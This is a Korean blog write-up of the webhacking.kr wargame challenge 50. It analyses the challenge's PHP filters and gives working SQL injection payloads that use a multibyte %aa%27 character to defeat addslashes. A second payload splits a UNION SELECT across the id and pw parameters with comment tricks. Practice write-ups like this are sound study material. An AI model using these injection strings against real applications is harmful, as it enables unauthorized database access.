본문 바로가기

Wargame, CTF/webhacking.kr

Webhacking.kr 50번

메인화면

 

소스코드

소스코드를 보면

id와 pw에서 addslashes함수가 적용되고

id는 인코딩 방식이 utf-8로 변환되며

GET방식으로 받은 값에

from, pw, (, ),  , %,  =, >, < 가 필터링되고

id값에서는 union이 필터링

 

SQL구문으로는

select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')

 

lv이 1 또는 2이면 화면에 출력되고

'3'이면 클리어

 

여기서는 id값의 인코딩 방식이 euc-kr에서 utf-8로 바뀌는 것을 봐야하는 것 같음

 

https://m.blog.naver.com/PostView.nhn?blogId=skinfosec2000&logNo=220535626029&proxyReferer=https%3A%2F%2Fwww.google.com%2F

 

PHP addslashes(), magic_quotes_gpc 우회를 통한 SQL Injection 공격

addslashes(), magic_quotes_gpc 우회를 통한 SQL 인젝션 공격 가능 일부 웹 사이트에서 데이터베이스 ...

blog.naver.com

이렇게 멀티바이트로 인코딩되는 경우

addslashes함수를 우회하여 sql injection을 시도 할 수 있음

 

id=%aa%27||lv%09like%092%23&pw=guest

이렇게 주면

id값의 %aa%27이 addslashes를 통해

%aa%5c%27이 되고 멀티바이트 문자로 인식되서

%aa%5c가 한 문자로 싱클쿼터가 됨

 

결국

select lv from chall50 where id='~~'||lv like 2#' and pw=md5('guest')

2는 있지만 3은 없음

union을 써서 3을 강제로 빼내야하는데 

id에서 union이 필터링 되어 있기 때문에

pw쪽에서 써야한다

id=%aa%27/*&pw=*/union%09select%093%23을 주면

select lv from chall50 where id='~~'/*' and pw=md5('*/union select 3#')

-> select lv from chall50 wehere id='~~' union select 3#

클리어

 

'Wargame, CTF > webhacking.kr' 카테고리의 다른 글

Webhacking.kr 22번  (0) 2020.01.03
Webhacking.kr 2번  (0) 2020.01.02
Webhacking.kr 4번  (0) 2019.12.27
Webhacking.kr 8번  (0) 2019.12.27
Webhacking.kr 55번  (0) 2019.12.27